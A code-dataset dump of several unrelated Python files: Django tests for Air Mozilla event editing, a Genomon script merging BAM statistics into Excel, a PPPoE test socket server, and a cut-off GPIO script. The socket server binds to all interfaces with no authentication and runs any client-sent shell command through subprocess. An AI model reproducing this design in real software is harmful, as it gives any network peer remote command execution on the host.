dict(self.event_base_data, placeholder_img=fp,\n title='Launch')\n )\n eq_(response.status_code, 302)\n event = Event.objects.get(slug='launch')\n url = reverse('main:event', args=('launch',))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n\n # now edit the slug\n response = self.client.post(\n reverse('manage:event_edit', kwargs={'id': event.pk}),\n dict(self.event_base_data,\n title='Different title',\n slug='different',)\n )\n eq_(response.status_code, 302)\n assert Event.objects.get(slug='different')\n\n old_url = url\n url = reverse('main:event', args=('different',))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n\n response = self.client.get(old_url)\n eq_(response.status_code, 302)\n self.assertRedirects(response, url)\n\n # but suppose we change our mind back\n response = self.client.post(\n reverse('manage:event_edit', kwargs={'id': event.pk}),\n dict(self.event_base_data,\n title='Launch title',\n slug='launch',)\n )\n eq_(response.status_code, 302)\n event = Event.objects.get(slug='launch')\n\n old_url = url\n url = reverse('main:event', args=('launch',))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n\n response = self.client.get(old_url)\n eq_(response.status_code, 302)\n self.assertRedirects(response, url)\n\n event.delete()\n response = self.client.get(url)\n eq_(response.status_code, 404)\n\n response = self.client.get(old_url)\n eq_(response.status_code, 404)\n\n def test_overwrite_old_slug_twice(self):\n # based on https://bugzilla.mozilla.org/show_bug.cgi?id=850742#c3\n with open(self.placeholder) as fp:\n response = self.client.post(\n reverse('manage:event_request'),\n dict(self.event_base_data, placeholder_img=fp,\n title='Champagne')\n )\n eq_(response.status_code, 302)\n event = Event.objects.get(slug='champagne')\n # now edit the slug\n response = self.client.post(\n reverse('manage:event_edit', kwargs={'id': event.pk}),\n dict(self.event_base_data,\n title=event.title,\n slug='somethingelse')\n )\n\n # back again\n response = self.client.post(\n reverse('manage:event_edit', kwargs={'id': event.pk}),\n dict(self.event_base_data,\n title=event.title,\n slug='champagne')\n )\n\n # one last time\n response = self.client.post(\n reverse('manage:event_edit', kwargs={'id': event.pk}),\n dict(self.event_base_data,\n title=event.title,\n slug='somethingelse')\n )\n\n url = reverse('main:event', args=('somethingelse',))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n\n old_url = reverse('main:event', args=('champagne',))\n response = self.client.get(old_url)\n eq_(response.status_code, 302)\n self.assertRedirects(response, url)\n\n def test_editing_event_tags(self):\n # you create an event, edit the tags and mix the case\n with open(self.placeholder) as fp:\n response = self.client.post(\n reverse('manage:event_request'),\n dict(self.event_base_data, placeholder_img=fp,\n title='Launch')\n )\n eq_(response.status_code, 302)\n event = Event.objects.get(slug='launch')\n # now edit the tags\n response = self.client.post(\n reverse('manage:event_edit', kwargs={'id': event.pk}),\n dict(self.event_base_data,\n title=event.title,\n tags='One, Two')\n )\n eq_(response.status_code, 302)\n event = Event.objects.get(pk=event.pk)\n\n ok_(Tag.objects.get(name='One') in list(event.tags.all()))\n ok_(Tag.objects.get(name='Two') in list(event.tags.all()))\n\n # Edit a tag that already exists\n Tag.objects.create(name='three')\n count_tags_before = Tag.objects.all().count()\n response = self.client.post(\n reverse('manage:event_edit', kwargs={'id': event.pk}),\n dict(self.event_base_data,\n title=event.title,\n tags='One, Two, THREE')\n )\n count_tags_after = Tag.objects.all().count()\n eq_(count_tags_before, count_tags_after)\n\n def test_event_request_with_clashing_flatpage(self):\n FlatPage.objects.create(\n url='/egg-plants/',\n title='Egg Plants',\n )\n with open(self.placeholder) as fp:\n response = self.client.post(\n reverse('manage:event_request'),\n dict(self.event_base_data, placeholder_img=fp,\n title='Egg Plants')\n )\n eq_(response.status_code, 200)\n ok_('Form errors' in response.content)\n\n def test_event_edit_with_clashing_flatpage(self):\n # if you edit the event and its slug already clashes with a\n # FlatPage, there's little we can do, the FlatPage was added\n # after\n with open(self.placeholder) as fp:\n response = self.client.post(\n reverse('manage:event_request'),\n dict(self.event_base_data, placeholder_img=fp,\n title='Champagne')\n )\n eq_(response.status_code, 302)\n\n FlatPage.objects.create(\n url='/egg-plants/',\n title='Egg Plants',\n )\n\n event = Event.objects.get(slug='champagne')\n # now edit the event without changing the slug\n response = self.client.post(\n reverse('manage:event_edit', kwargs={'id': event.pk}),\n dict(self.event_base_data,\n title=\"New Title\",\n slug=event.slug)\n )\n # should be ok\n eq_(response.status_code, 302)\n\n response = self.client.post(\n reverse('manage:event_edit', kwargs={'id': event.pk}),\n dict(self.event_base_data,\n title=\"New Title\",\n slug='egg-plants')\n )\n # should NOT be ok\n eq_(response.status_code, 200)\n ok_('Form errors' in response.content)\n\n def test_event_edit_with_vidly_submissions(self):\n event = Event.objects.get(title='Test event')\n url = reverse('manage:event_edit', args=(event.pk,))\n\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('id=\"vidly-submission\"' not in response.content)\n\n template = event.template\n template.name = 'Vid.ly Fun'\n template.save()\n\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('id=\"vidly-submission\"' in response.content)\n\n VidlySubmission.objects.create(\n event=event,\n url='http://www.file',\n )\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('1 Vid.ly Submission' in response.content)\n\n # a second one\n VidlySubmission.objects.create(\n event=event,\n url='http://www.file.different.file',\n )\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('2 Vid.ly Submissions' in response.content)\n\n submissions_url = reverse(\n 'manage:event_vidly_submissions',\n args=(event.pk,)\n )\n ok_(submissions_url in response.content)\n\n @mock.patch('urllib2.urlopen')\n def test_event_edit_with_stuck_pending(self, p_urlopen):\n\n def mocked_urlopen(request):\n return StringIO(SAMPLE_XML.strip())\n\n p_urlopen.side_effect = mocked_urlopen\n\n event = Event.objects.get(title='Test event')\n event.template_environment = {'tag': 'abc123'}\n event.status = Event.STATUS_PENDING\n event.save()\n\n url = reverse('manage:event_edit', args=(event.pk,))\n\n template = event.template\n template.name = 'Vid.ly Fun'\n template.save()\n submission = VidlySubmission.objects.create(\n event=event,\n url='http://www.file',\n )\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('1 Vid.ly Submission' in response.content)\n\n auto_archive_url = reverse(\n 'manage:event_archive_auto',\n args=(event.pk,)\n )\n ok_(auto_archive_url not in response.content)\n # the reason it's not there is because the VidlySubmission\n # was made very recently.\n # It will appear if the VidlySubmission does not exist\n submission.submission_time -= datetime.timedelta(hours=1)\n submission.save()\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_(auto_archive_url in response.content)\n\n # or if there is no VidlySubmission at all\n submission.delete()\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_(auto_archive_url in response.content)\n\n response = self.client.post(auto_archive_url)\n eq_(response.status_code, 302)\n event = Event.objects.get(pk=event.pk)\n eq_(event.status, Event.STATUS_SCHEDULED)\n ok_(event.archive_time)\n\n def test_event_vidly_submissions(self):\n event = Event.objects.get(title='Test event')\n template = event.template\n template.name = 'Vid.ly Fun'\n template.save()\n\n url = reverse('manage:event_vidly_submissions', args=(event.pk,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n\n # add one\n VidlySubmission.objects.create(\n event=event,\n url='http://something.long/url.file',\n hd=True,\n token_protection=False,\n tag='abc123',\n )\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('http://something.long/url.file' in response.content)\n ok_('abc123' in response.content)\n\n def test_event_vidly_submission(self):\n event = Event.objects.get(title='Test event')\n submission = VidlySubmission.objects.create(\n event=event,\n url='http://something.long/url.file',\n hd=True,\n token_protection=False,\n tag='abc123',\n submission_error='Something went wrong',\n )\n url = reverse(\n 'manage:event_vidly_submission',\n args=(event.pk, submission.pk)\n )\n response = self.client.get(url)\n eq_(response.status_code, 200)\n data = json.loads(response.content)\n eq_(data['submission_error'], 'Something went wrong')\n\n # or as fields\n response = self.client.get(url, {'as_fields': True})\n eq_(response.status_code, 200)\n data = json.loads(response.content)\n ok_(data['fields'])\n first_field = data['fields'][0]\n ok_('key' in first_field)\n ok_('value' in first_field)\n\n def test_event_hit_stats(self):\n event = Event.objects.get(title='Test event')\n now = datetime.datetime.utcnow().replace(tzinfo=utc)\n event.start_time = now - datetime.timedelta(days=400)\n event.archive_time = now - datetime.timedelta(days=365)\n event.save()\n\n EventHitStats.objects.create(\n event=event,\n total_hits=101,\n shortcode='abc123',\n )\n\n url = reverse('manage:event_hit_stats')\n response = self.client.get(url)\n eq_(response.status_code, 200)\n\n # 101 / 365 days ~= 0.3\n ok_('1 year' in response.content)\n ok_('101' in response.content)\n ok_('0.3' in response.content)\n\n def test_event_hit_stats_include_excluded(self):\n event = Event.objects.get(title='Test event')\n poison = Channel.objects.create(\n name='Poison',\n exclude_from_trending=True\n )\n event.channels.add(poison)\n\n now = datetime.datetime.utcnow().replace(tzinfo=utc)\n event.start_time = now - datetime.timedelta(days=400)\n event.archive_time = now - datetime.timedelta(days=365)\n event.save()\n\n EventHitStats.objects.create(\n event=event,\n total_hits=101,\n shortcode='abc123',\n )\n\n url = reverse('manage:event_hit_stats')\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_(event.title not in response.content)\n\n response = self.client.get(url, {'include_excluded': True})\n eq_(response.status_code, 200)\n ok_(event.title in response.content)\n\n def test_event_hit_stats_archived_today(self):\n event = Event.objects.get(title='Test event')\n now = datetime.datetime.utcnow().replace(tzinfo=utc)\n event.start_time = now\n event.archive_time = now\n event.save()\n\n EventHitStats.objects.create(\n event=event,\n total_hits=1,\n shortcode='abc123',\n )\n\n url = reverse('manage:event_hit_stats')\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_(event.title not in response.content)\n\n def test_hit_statistics_with_filter(self):\n event = Event.objects.get(slug='test-event')\n event_hit = Event.objects.create(\n title='Test event hit',\n slug='test-event-hit',\n description=event.description,\n privacy=Event.PRIVACY_PUBLIC,\n placeholder_img=event.placeholder_img,\n location=event.location,\n start_time='2012-06-22T19:30:00Z',\n archive_time='2012-06-22T20:00:00Z',\n )\n\n EventHitStats.objects.create(\n event=event,\n total_hits=101,\n shortcode='abc123',\n )\n\n EventHitStats.objects.create(\n event=event_hit,\n total_hits=102,\n shortcode='abc456',\n )\n\n response = self.client.get(\n reverse('manage:event_hit_stats'),\n {\n 'title': event_hit.title,\n }\n )\n eq_(response.status_code, 200)\n\n view_url_event = reverse('main:event', args=(event.slug,))\n view_url_event_hit = reverse('main:event', args=(event_hit.slug,))\n\n eq_(response.content.count(view_url_event_hit), 1)\n eq_(response.content.count(view_url_event), 0)\n\n def test_event_edit_without_vidly_template(self):\n \"\"\"based on https://bugzilla.mozilla.org/show_bug.cgi?id=879725\"\"\"\n event = Event.objects.get(title='Test event')\n event.status = Event.STATUS_PENDING\n event.archive_time = None\n event.template = None\n event.save()\n\n url = reverse('manage:event_edit', args=(event.pk,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n\n def test_event_edit_with_suggested_event_comments(self):\n event = Event.objects.get(title='Test event')\n now = datetime.datetime.utcnow().replace(tzinfo=utc)\n suggested_event = SuggestedEvent.objects.create(\n user=self.user,\n title=event.title,\n slug=event.slug,\n description=event.description,\n short_description=event.short_description,\n location=event.location,\n start_time=event.start_time,\n accepted=event,\n submitted=now,\n )\n SuggestedEventComment.objects.create(\n suggested_event=suggested_event,\n user=self.user,\n comment='hi!\\n\"friend\"'\n )\n url = reverse('manage:event_edit', args=(event.pk,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_(\n 'Additional comments from original requested event'\n in response.content\n )\n ok_('hi!<br>"friend"' in response.content)\n\n def test_event_edit_of_retracted_submitted_event(self):\n event = Event.objects.get(title='Test event')\n now = datetime.datetime.utcnow().replace(tzinfo=utc)\n suggested_event = SuggestedEvent.objects.create(\n user=self.user,\n title=event.title,\n slug=event.slug,\n description=event.description,\n short_description=event.short_description,\n location=event.location,\n start_time=event.start_time,\n accepted=event,\n submitted=now,\n )\n url = reverse('manage:event_edit', args=(event.pk,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n\n suggested_event.submitted = None\n suggested_event.save()\n response = self.client.get(url)\n eq_(response.status_code, 200)\n\n def test_event_location_time_create_and_edit(self):\n \"\"\"test that the input can be local time but the event is stored in\n UTC\"\"\"\n paris = Location.objects.create(\n name='Paris',\n timezone='Europe/Paris'\n )\n with open(self.placeholder) as fp:\n data = dict(\n self.event_base_data,\n placeholder_img=fp,\n title='In Paris!',\n start_time='2013-09-25 10:00',\n location=paris.pk,\n )\n response = self.client.post(\n reverse('manage:event_request'),\n data\n )\n eq_(response.status_code, 302)\n event = Event.objects.get(title='In Paris!')\n eq_(event.start_time.tzinfo, utc)\n eq_(event.start_time.hour, 8)\n\n url = reverse('manage:event_edit', args=(event.pk,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n # expect the Paris location to be pre-selected\n ok_(\n '<option value=\"%s\" selected=\"selected\">Paris</option>' % paris.pk\n in response.content\n )\n start_time_tag = re.findall(\n '<input.*?id=\"id_start_time\".*?>',\n response.content\n )[0]\n # expect to see the location time in there instead\n ok_('10:00' in start_time_tag, start_time_tag)\n\n # suppose now we want to make the event start at 13:00 in Paris\n response = self.client.post(\n url,\n dict(\n self.event_base_data,\n location=paris.pk,\n start_time='2013-09-25 13:00',\n title='Different Now'\n ),\n )\n eq_(response.status_code, 302)\n event = Event.objects.get(title='Different Now')\n eq_(event.start_time.tzinfo, utc)\n eq_(event.start_time.hour, 11)\n\n # pull up the edit one more time\n response = self.client.get(url)\n eq_(response.status_code, 200)\n start_time_tag = re.findall(\n '<input.*?id=\"id_start_time\".*?>',\n response.content\n )[0]\n # expect to see the location time in there instead\n ok_('13:00' in start_time_tag, start_time_tag)\n\n @mock.patch('logging.error')\n @mock.patch('requests.get')\n def test_editing_event_curated_groups(self, rget, rlogging):\n\n def mocked_get(url, **options):\n if 'offset=0' in url:\n return Response(GROUPS1)\n if 'offset=500' in url:\n return Response(GROUPS2)\n raise NotImplementedError(url)\n rget.side_effect = mocked_get\n\n event = Event.objects.get(title='Test event')\n url = reverse('manage:event_edit', args=(event.pk,))\n\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('Curated groups' in response.content)\n response = self.client.post(\n url,\n dict(self.event_base_data,\n title=event.title,\n curated_groups='Group 1, Group 2'\n )\n )\n eq_(response.status_code, 302)\n ok_(CuratedGroup.objects.get(event=event, name='Group 1'))\n ok_(CuratedGroup.objects.get(event=event, name='Group 2'))\n\n # edit it again\n response = self.client.post(\n url,\n dict(self.event_base_data,\n title=event.title,\n curated_groups='Group 1, Group X'\n )\n )\n eq_(response.status_code, 302)\n ok_(CuratedGroup.objects.get(event=event, name='Group 1'))\n ok_(CuratedGroup.objects.get(event=event, name='Group X'))\n ok_(not CuratedGroup.objects.filter(event=event, name='Group 2'))\n\n def test_event_upload(self):\n event = Event.objects.get(title='Test event')\n # there needs to exist a template which is the\n # `default_archive_template` one\n template, = Template.objects.all()\n template.default_archive_template = True\n template.save()\n\n url = reverse('manage:event_upload', args=(event.pk,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n\n # if the event has a file upload, you'd expect to see a link to it here\n upload = Upload.objects.create(\n user=self.user,\n url='https://aws.com/file.foo',\n file_name='file.foo',\n size=123456,\n event=event,\n )\n event.upload = upload\n event.save()\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('file.foo' in response.content)\n\n def test_event_upload_automation_details(self):\n \"\"\"When you go to the event upload there are details embedded in\n the page that is used by the javascript automation steps (which\n are quite complex).\n Here we just want to test that all those details are there as\n expected.\n \"\"\"\n event = Event.objects.get(title='Test event')\n # there needs to exist a template which is the\n # `default_archive_template` one\n template, = Template.objects.all()\n template.default_archive_template = True\n template.content = \"\"\"\n <iframe src=\"{{ key }}\"></iframe>\n \"\"\"\n template.save()\n\n url = reverse('manage:event_upload', args=(event.pk,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n\n doc = pyquery.PyQuery(response.content)\n element, = doc('form#upload')\n eq_(\n element.attrib['data-vidly-shortcut-url'],\n reverse('manage:vidly_url_to_shortcode', args=(event.id,))\n )\n eq_(\n element.attrib['data-event-archive-url'],\n reverse('manage:event_archive', args=(event.id,))\n )\n eq_(\n json.loads(element.attrib['data-vidly-submit-details']),\n {\n 'email': self.user.email,\n 'hd': True,\n 'token_protection': False\n }\n )\n assert event.privacy == Event.PRIVACY_PUBLIC\n eq_(\n json.loads(element.attrib['data-event-archive-details']),\n {\n 'template': template.id,\n 'shortcode_key_name': 'key'\n }\n )\n\n def test_event_transcript(self):\n event = Event.objects.get(title='Test event')\n event.transcript = \"Some content\"\n event.save()\n\n url = reverse('manage:event_transcript', args=(event.pk,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('Some content' in response.content)\n\n response = self.client.post(url, {'transcript': 'New content'})\n eq_(response.status_code, 302)\n event = Event.objects.get(pk=event.pk)\n eq_(event.transcript, 'New content')\n\n @mock.patch('requests.get')\n def test_event_transcript_scraping(self, rget):\n\n def mocked_get(url, **options):\n eq_(\n url,\n 'https://etherpad.mozilla.org/ep/pad/export/foo-bar/latest?'\n 'format=txt'\n )\n return _Response(\n \"Content here\",\n 200\n )\n\n rget.side_effect = mocked_get\n\n event = Event.objects.get(title='Test event')\n event.additional_links = \"\"\"\n https://etherpad.mozilla.org/foo-bar\n \"\"\"\n event.save()\n\n url = reverse('manage:event_transcript', args=(event.pk,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('https://etherpad.mozilla.org/foo-bar' in response.content)\n\n response = self.client.get(url, {\n 'urls': ['https://etherpad.mozilla.org/foo-bar']\n })\n eq_(response.status_code, 200)\n ok_('Content here' in response.content)\n\n @mock.patch('requests.get')\n def test_event_transcript_scraping_not_working(self, rget):\n\n def mocked_get(url, **options):\n eq_(\n url,\n 'https://etherpad.mozilla.org/ep/pad/export/foo-bar/latest?'\n 'format=txt'\n )\n return _Response(\n None,\n 500\n )\n\n rget.side_effect = mocked_get\n\n event = Event.objects.get(title='Test event')\n event.additional_links = \"\"\"\n https://etherpad.mozilla.org/foo-bar\n \"\"\"\n event.save()\n url = reverse('manage:event_transcript', args=(event.pk,))\n response = self.client.get(url, {\n 'urls': ['https://etherpad.mozilla.org/foo-bar']\n })\n eq_(response.status_code, 200)\n ok_('Some things could not be scraped correctly')\n\n def test_stop_live_event(self):\n event = Event.objects.get(title='Test event')\n assert event in Event.objects.approved()\n event.archive_time = None\n now = datetime.datetime.utcnow().replace(tzinfo=utc)\n nowish = now - datetime.timedelta(minutes=1)\n event.start_time = nowish\n event.save()\n assert event in Event.objects.live()\n\n # there needs to exist a template which is the\n # `default_archive_template` one\n template, = Template.objects.all()\n template.default_archive_template = True\n template.save()\n\n edit_url = reverse('manage:event_edit', args=(event.pk,))\n response = self.client.get(edit_url)\n eq_(response.status_code, 200)\n url = reverse('manage:stop_live_event', args=(event.pk,))\n ok_(url in response.content)\n\n # let's click it\n response = self.client.post(url)\n eq_(response.status_code, 302)\n self.assertRedirects(\n response,\n reverse('manage:event_upload', args=(event.pk,))\n )\n\n # reload the event and it should have changed status\n event = Event.objects.get(pk=event.pk)\n eq_(event.status, Event.STATUS_PENDING)\n\n def test_event_redirect_thumbnail(self):\n event = Event.objects.get(title='Test event')\n with open(self.placeholder) as fp:\n event.placeholder_img = File(fp)\n event.save()\n\n assert event.placeholder_img\n\n url = reverse('manage:redirect_event_thumbnail', args=(event.id,))\n response = self.client.get(url)\n eq_(response.status_code, 302)\n thumbnail_url = response['Location']\n ok_(settings.MEDIA_URL in thumbnail_url)\n\n def test_event_edit_with_hit_statistics(self):\n event = Event.objects.get(title='Test event')\n url = reverse('manage:event_edit', args=(event.id,))\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('Total Hits:' not in response.content)\n\n event.template_environment = {'tag': 'abc123'}\n event.save()\n\n EventHitStats.objects.create(\n event=event,\n total_hits=1234,\n shortcode=event.template_environment['tag']\n )\n\n response = self.client.get(url)\n eq_(response.status_code, 200)\n ok_('Total Hits:' in response.content)\n ok_('1,234' in response.content)\n","sub_path":"airmozilla/manage/tests/views/test_events.py","file_name":"test_events.py","file_ext":"py","file_size_in_byte":67479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"86079500","text":"#! /usr/bin/env python\n\nfrom genomon_summary.stage_task import *\n\nclass Res_Merge(Stage_task):\n\n task_name = \"merge\"\n\n script_template = \"\"\"\n#!/bin/bash\n#\n# Set SGE\n#\n#$ -S /bin/bash # set shell in UGE\n#$ -cwd # execute at the submitted dir\n#$ -e {log} # log file directory\n#$ -o {log} # log file directory\npwd # print current working directory\nhostname # print hostname\ndate # print date\nset -xv\n\n# cat {input1} {input2} {input3} {input4} > {output}\n\"\"\"\n\n def __init__(self, qsub_option, script_dir):\n super(Res_Merge, self).__init__(qsub_option, script_dir)\n \n def mkxls(self, files, excel_file):\n import xlwt\n import re\n import numpy\n \n # No.1 bamstat\n bamstats_header = []\n bamstats_string = [] \n f=open(files[0])\n string=f.read()\n f.close()\n input_file = string.split(\"\\n\")\n for line in input_file:\n line = line.replace(\"\\n\", \"\")\n line_split = line.split(\"\\t\")\n \n if len(bamstats_header) == 0:\n bamstats_header += line_split\n else:\n if len(line_split) > 1:\n bamstats_string.append(line_split)\n\n num_index = 6\n range_values = range(num_index, len(bamstats_header))\n bamstats_values = numpy.loadtxt(files[0], delimiter='\\t', skiprows=1, \n usecols = range_values)\n \n # No.5 coverage.py\n coverage_header = []\n coverage_values = [] \n f=open(files[1])\n string=f.read()\n f.close()\n input_file = string.split(\"\\n\")\n for line in input_file:\n line = line.replace(\"\\n\", \"\")\n line_split = line.split(\"\\t\")\n if len(coverage_header) == 0:\n coverage_header += line_split\n else:\n if len(line_split) > 1:\n coverage_values += line_split\n \n #\n # Make Excel file\n #\n wb = xlwt.Workbook()\n ws = wb.add_sheet('data')\n \n # write bamstats data, total read group\n num_readgroup = len(bamstats_string)\n for i in range(0, len(bamstats_header)):\n ws.write(0, i, bamstats_header[i])\n \n if bamstats_header[i] == 'readgroup':\n ws.write(1, i, \"*\")\n \n elif bamstats_header[i] in [\n '#_mapped_bases',\n '#_mapped_bases_r1',\n '#_mapped_bases_r2',\n '#_divergent_bases',\n '#_divergent_bases_r1',\n '#_divergent_bases_r2',\n '#_total_reads',\n '#_total_reads_r1',\n '#_total_reads_r2',\n '#_mapped_reads',\n '#_mapped_reads_r1',\n '#_mapped_reads_r2',\n '#_mapped_reads_properly_paired',\n '#_gc_bases_r1',\n '#_gc_bases_r2',\n '#_duplicate_reads',\n ]:\n if len(bamstats_values) == len(range_values):\n ws.write(1, i, numpy.sum(bamstats_values[i-num_index]))\n else:\n ws.write(1, i, numpy.sum(bamstats_values[:,i-num_index]))\n\n elif bamstats_header[i] in [\n 'mean_insert_size',\n 'insert_size_sd',\n 'median_insert_size',\n ]:\n if len(bamstats_values) == len(range_values):\n ws.write(1, i, numpy.average(bamstats_values[i-num_index]))\n else:\n ws.write(1, i, numpy.average(bamstats_values[:,i-num_index]))\n\n elif bamstats_header[i] in [\n 'read_length_r1',\n 'read_length_r2',\n ]:\n\n ws.write(1, i, int(float(bamstats_string[0][i])))\n \n else:\n ws.write(1, i, bamstats_string[0][i])\n \n# # write bamstats data, each read group\n# for i in range(0, num_readgroup):\n# for j in range(0, len(bamstats_string[i])):\n# if bamstats_header[j] in [\n# 'read_length_r1',\n# 'read_length_r2',\n# '#_mapped_bases',\n# '#_mapped_bases_r1',\n# '#_mapped_bases_r2',\n# '#_divergent_bases',\n# '#_divergent_bases_r1',\n# '#_divergent_bases_r2',\n# '#_total_reads',\n# '#_total_reads_r1',\n# '#_total_reads_r2',\n# '#_mapped_reads',\n# '#_mapped_reads_r1',\n# '#_mapped_reads_r2',\n# '#_mapped_reads_properly_paired',\n# '#_gc_bases_r1',\n# '#_gc_bases_r2',\n# '#_duplicate_reads'\n# ]:\n# ws.write(i + 2, j, int(bamstats_string[i][j]))\n# \n# elif bamstats_header[j] in [\n# 'mean_insert_size',\n# 'insert_size_sd',\n# 'median_insert_size',\n# ]:\n# ws.write(i + 2, j, float(bamstats_string[i][j]))\n# \n# else:\n# ws.write(i + 2, j, bamstats_string[i][j])\n \n # write coverage data\n x_pos = len(bamstats_header)\n\n for i in range(0, len(coverage_header)):\n ws.write(0, i + x_pos, coverage_header[i])\n search_ratio = re.search(\"[0-9]{1,10}x_ratio$\", coverage_header[i])\n search_x = re.search(\"[0-9]{1,10}x$\", coverage_header[i])\n\n if coverage_header[i] in [\"non-N_total_depth\", \"non-N_bases\"] \\\n or search_x != None:\n ws.write(1, i + x_pos, int(float(coverage_values[i])))\n \n elif coverage_header[i] in ['average_depth', 'depth_stdev'] \\\n or search_ratio != None:\n ws.write(1, i + x_pos, float(coverage_values[i]))\n \n else:\n ws.write(1, i + x_pos, coverage_values[i])\n \n # save\n wb.save(excel_file)\n \n \n def Excel2TSV(self, ExcelFile, TSVFile):\n import xlrd\n workbook = xlrd.open_workbook(ExcelFile)\n worksheet = workbook.sheet_by_name('data')\n tsvfile = open(TSVFile, 'wb')\n \n for rownum in xrange(worksheet.nrows):\n data_to_write = []\n for x in worksheet.row_values(rownum):\n if isinstance(x, basestring):\n x = x.replace(\"\\t\", \"\")\n if type(x) == type(u''):\n data_to_write.append( x.encode('utf-8'))\n else:\n data_to_write.append(str(x))\n \n tsvfile.write('\\t'.join(data_to_write) + '\\n')\n \n tsvfile.close()\n \n \n","sub_path":"scripts/genomon_summary/resource/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":7950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"193382527","text":"#!/usr/bin/env python\nimport socket\n#import cgi\n#from BeautifulSoup import BeautifulSoup\n#from selenium import webdriver\nimport json\nimport re\nfrom scapy.all import get_if_raw_hwaddr, Ether\nfrom scapy.contrib import igmp\nfrom subprocess import call\nimport logging\nimport os\nfrom Modules.pppinit import *\n\n\ntry: \n import thread \nexcept ImportError:\n import thread as thread #Py3K changed it.\n\nclass Polserv(object):\n def __init__(self):\n self.numthreads = 0\n self.tidcount = 0\n self.port = 8000\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.sock.bind(('0.0.0.0', self.port))\n self.sock.listen(5)\n self.inituser = \"Sgdsl-testload-344\"\n self.initpass = \"123456\"\n self.initmac = \"ca:64:16:40:11:26\"\n self.initvlanid = \"1036\"\n self.pppSession = pppoed(account={\"userName\": self.inituser,\n \"password\": self.initpass,\n \"mac\": self.initmac,\n \"vlanID\": self.initvlanid},\n iface=\"eth0\")\n\n self.pppSession.setInterface()\n time.sleep(0.5)\n while not self.pppSession.pppoed_session:\n self.pppSession.setPPPoED()\n time.sleep(5)\n\n def run(self):\n while True:\n thread.start_new_thread(self.handle, self.sock.accept())\n if self.pppSession.keepAlive():\n continue\n else:\n self.pppSession.setPPPoED()\n\n\n def handle(self, conn, addr):\n self.numthreads += 1\n self.tidcount += 1\n tid = self.tidcount\n\n while True:\n data = conn.recv(2048)\n if not data:\n conn.close()\n self.numthreads -= 1\n break\n else:\n #conn.sendall(\"received data %s \" % data + \"\\r\\n\")\n #conn.sendall(\"received json data %s\" % matches.group(1) + \"\\r\\n\")\n try:\n # get data as form-field request\n #form = cgi.parse_multipart(data)\n #run_ppp(userName=form.getfirst(\"username\", \"Sgdsl-testload-355\"),\n # password=form.getfirst(\"password\", \"123456\"),\n # vlanID=form.getfirst(\"vlanID\", \"100\"))\n #get data as json data request\n JSON = re.compile('({.*?})', re.DOTALL)\n matches = json.loads(JSON.search(data).group(1))\n #json data for test\n # PPPoE :{\"command\": \"testPPPoE\", \"userName\": \"...\", \"password\": \"...\", \"vlanID\": \"...\"}\n if matches[\"command\"] == \"testPPPoE\":\n run_ppp(userName=matches[\"userName\"],\n password=matches[\"password\"],\n vlanID=matches[\"vlanID\"])\n conn.sendall(json.dumps({\"Result\": \"Success\"}))\n conn.close()\n self.numthreads -= 1\n break\n # run syscall command:{\"command\": \"shell\", \"shellcommand\": \"...\" , \"args\": [\"args1\", \"args2\", \"args3\"]}\n elif matches[\"command\"] == \"shell\":\n carg = [matches[\"shellcommand\"]]\n for arg in matches[\"args\"]:\n carg.append(arg)\n conn.sendall(\"Run shell command: %s \" % matches)\n call(carg)\n conn.close()\n self.numthreads -=1\n break\n except:\n conn.sendall(\"there error in request data\")\n conn.close()\n self.numthreads -= 1\n break\n #conn.sendall(b\"<?xml version='1.0'?><cross-domain-policy><allow-access-from domain='*' to-ports='*'/></cross-domain-policy>\")\n #conn.close()\n #self.numthreads -= 1\n #break\n #conn.sendall(b\"[#%d (%d running)] %s\" % (tid,self.numthreads,data) )\nPolserv().run()\n","sub_path":"pppoe-checker/testsock.py","file_name":"testsock.py","file_ext":"py","file_size_in_byte":4258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"456483389","text":"import RPi.GPIO as GPIO\nimport time\n\nGPIO.setmode(GPIO.BCM)\n\n#Setup Outputs\nGPIO.setup(8,GPIO.OUT)\nGPIO.setup(10,GPIO.OUT)\nGPIO.setup(12,GPIO.OUT)\nGPIO.setup(16,GPIO.OUT)\nGPIO.setup(18,GPIO.OUT)\n\n#Setup Inputs\nGPIO.setup(3,GPIO.IN)\nGPIO.setup(5,GPIO.IN)\nGPIO.setup(7,GPIO.IN)\nGPIO.setup(11,GPIO.IN)\nGPIO.setup(13,GPIO.IN)\n\n#Configure output power\nGPIO.output(8,GPIO.LOW)\nGPIO.output(10,GPIO.OUT)\nGPIO.output(12,GPIO.OUT)\nGPIO.output(16,GPIO.OUT)\nGPIO.output(18,GPIO.OUT)\n\ncurrentInput = 0\n\ndef mainFunction(inChannel, 